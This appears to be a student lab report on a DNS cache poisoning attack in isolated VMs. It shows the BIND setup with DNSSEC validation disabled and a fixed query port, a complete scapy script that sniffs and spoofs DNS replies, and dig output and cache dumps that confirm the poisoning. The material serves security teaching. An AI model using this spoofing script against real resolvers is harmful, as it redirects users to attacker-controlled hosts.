DNS Cache Poisoning – Project 4
Brad Bruesewitz
M12226365

Initial Setup

First, all three VMs need to be on the same network. I confirmed this with a simple ping command to make sure each VM could ping the others. I obtained the IP addresses from each VM with an **`ifconfig`** command. Here are the corresponding IP addresses (for future reference):

User: 10.0.2.6
Attacker: 10.0.2.5
Server: 10.0.2.4

Task 1: Set up User Machine

The User machine is currently not using Server as a local DNS server, so this needs to be configured. To do this, the file '/etc/resolvconf/resolv.conf.d/head' needs the following line added:

```
nameserver 10.0.2.4
```

I had to change the modification permissions for this file using 'sudo chmod 774 head' in order to be able to make changes to the file. After this, I needed to run this command in the terminal:

```
sudo resolvconf –u
```

After this, I can confirm the updates with this command:

```
cat /etc/resolv.conf
```

```
[04/15/22]seed@VM:~$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

nameserver 10.0.2.4
nameserver 127.0.1.1
search lan
```

Now, my User machine is using 10.0.2.4 (Server VM) as a local DNS server.

Task 2: Set up Local DNS Server

Now that I had User using Server as a local DNS server, I needed to configure Server to properly do what I needed it to do. I needed it to run a local DNS server program. I used BIND 9 as the server program. First, I had to confirm that a dump file was specified, as well as a countermeasure against spoofing was disabled. After navigating to the correct file in the Sever VM (/etc/bind/named.conf.options) I was able to confirm this:

```
//========================================================================
// If BIND logs error messages about the root key being expired,
// you will need to update your keys.  See https://www.isc.org/bind-keys
//========================================================================
// dnssec-validation auto;
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
auth-nxdomain no;    # conform to RFC1035

query-source port              33333;
listen-on-v6 { any; };
```

- dnssec-validation auto is the countermeasure line that is commented out
- dump-file "/var/cache/bind/dump.db" specifies the location of the dumped cache contents
- query-source port 33333 specifies a fixed port at 33333 instead of using a random port (harder for an attack if it is random)

Now, I run this command to make sure this is all in effect:

```
sudo service bind9 restart
```

Finally, I can confirm that User is using Server as a local DNS server and the Server is setup correctly by using this command:

```
dig www.uc.edu
```

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.uc.edu.                    IN      A

;; ANSWER SECTION:
www.uc.edu.             28800   IN      CNAME   www-uc.gtm.uc.edu.
www-uc.gtm.uc.edu.      5       IN      A       129.137.2.122

;; AUTHORITY SECTION:
gtm.uc.edu.             28800   IN      NS      extgtmlist9.uc.edu.
gtm.uc.edu.             28800   IN      NS      extgtmlist10.uc.edu.

;; ADDITIONAL SECTION:
extgtmlist9.uc.edu.     28800   IN      A       129.137.2.96
extgtmlist10.uc.edu.    28800   IN      A       129.137.2.97

;; Query time: 1041 msec
;; SERVER: 10.0.2.4#53(10.0.2.4)
;; WHEN: Fri Apr 15 15:03:34 EDT 2022
;; MSG SIZE  rcvd: 165
```

At the bottom of the above screenshot, I confirmed that the server being used was Server (at 10.0.2.4).

```
;; Query time: 1041 msec
;; SERVER: 10.0.2.4#53(10.0.2.4)
;; WHEN: Fri Apr 15 15:03:34 EDT 2022
;; MSG SIZE  rcvd: 165
```

Task 6: Perform Local DNS Cache Poisoning Attack

Now that I had everything configured, I could perform the DNS Cache poisoning attack. To do this, the below python script is run:

```
#This python script creates a spoof DNS packet for DNS Cache poisoning attack

import sys
from scapy.all import *

def spoof_dns(pkt):
        if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
                NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns1.example.net')
                NSsec2 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns2.example.net')
                Addsec1 = DNSRR(rrname='ns1.example.net', type='A', ttl=259200, rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns2.example.net', type='A', ttl=259200, rdata='5.6.7.8')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                        qdcount=1, ancount=1, nscount=2, arcount=2,
                        an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)


pkt = sniff(filter='udp and (src host 10.0.2.4 and dst port 53)', prn=spoof_dns)
```

- First, sniff a DNS query from Server (10.0.2.4, dst port is 53) to global DNS server
- If the query name is ‘www.example.net’, spoof a reply
- use the src IP/port of the captured packet as dst IP/port and use dst IP/port as src IP/port
- create the DNS packet with the Attacker IP address in the answer section of the DNS reply
- send the spoofed packet

After the python script is built, we run it on the Attacker VM (to ensure there isn't a pre-existing value in the cache, I also flush the cache on the Server with the command 'sudo rndc flush'):

```
sudo python dns_spoof.py
```

```
[04/15/22]seed@VM:~/Desktop$ sudo python dns_spoof.py
.
Sent 1 packets.
```

Now, in the User VM, we run a dig command with 'www.example.net':

```
[04/15/22]seed@VM:~$ dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36552
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
```

Verify Success of Attack

To fully verify the success of the attack, I had to confirm that the User VM was receiving the spoofed reply from the DNS request, as well as confirm the Server cache was 'poisoned', or contained the spoofed reply sent by the malicious python script. It can be seen in the reply to the DNS request that the User has received the spoofed packet:

```
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.net.            259200  IN      NS      ns2.example.net.
example.net.            259200  IN      NS      ns1.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.        259200  IN      A       1.2.3.4
ns2.example.net.        259200  IN      A       5.6.7.8

;; Query time: 13 msec
;; SERVER: 10.0.2.4#53(10.0.2.4)
;; WHEN: Fri Apr 15 15:59:48 EDT 2022
;; MSG SIZE  rcvd: 128
```

To verify that the Server cache is poisoned, I ran these commands in the Server VM:

```
sudo rndc dumpdb –cache
```

```
cat /var/cache/bind/dump.db
```

```
[04/15/22]seed@VM:~$ sudo rndc dumpdb -cache
[04/15/22]seed@VM:~$ cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
$DATE 20220415201223
```

```
; authauthority
example.net.            258445  NS      ns1.example.net.
                        258445  NS      ns2.example.net.
; additional
ns1.example.net.        258445  A       1.2.3.4
; additional
ns2.example.net.        258445  A       5.6.7.8
; authanswer
www.example.net.        258445  A       10.0.2.5
```

As the above screenshots show, the cache contains the information from the python script spoofed packet, and the cache contains an incorrect mapping from ‘www.example.net’ to ’10.0.2.5’, which is the attacker’s IP address. Now, the script does not have to continue to run, the cache will always return the incorrect IP address when the User performs a DNS request to ‘www.example.net’ to the Server.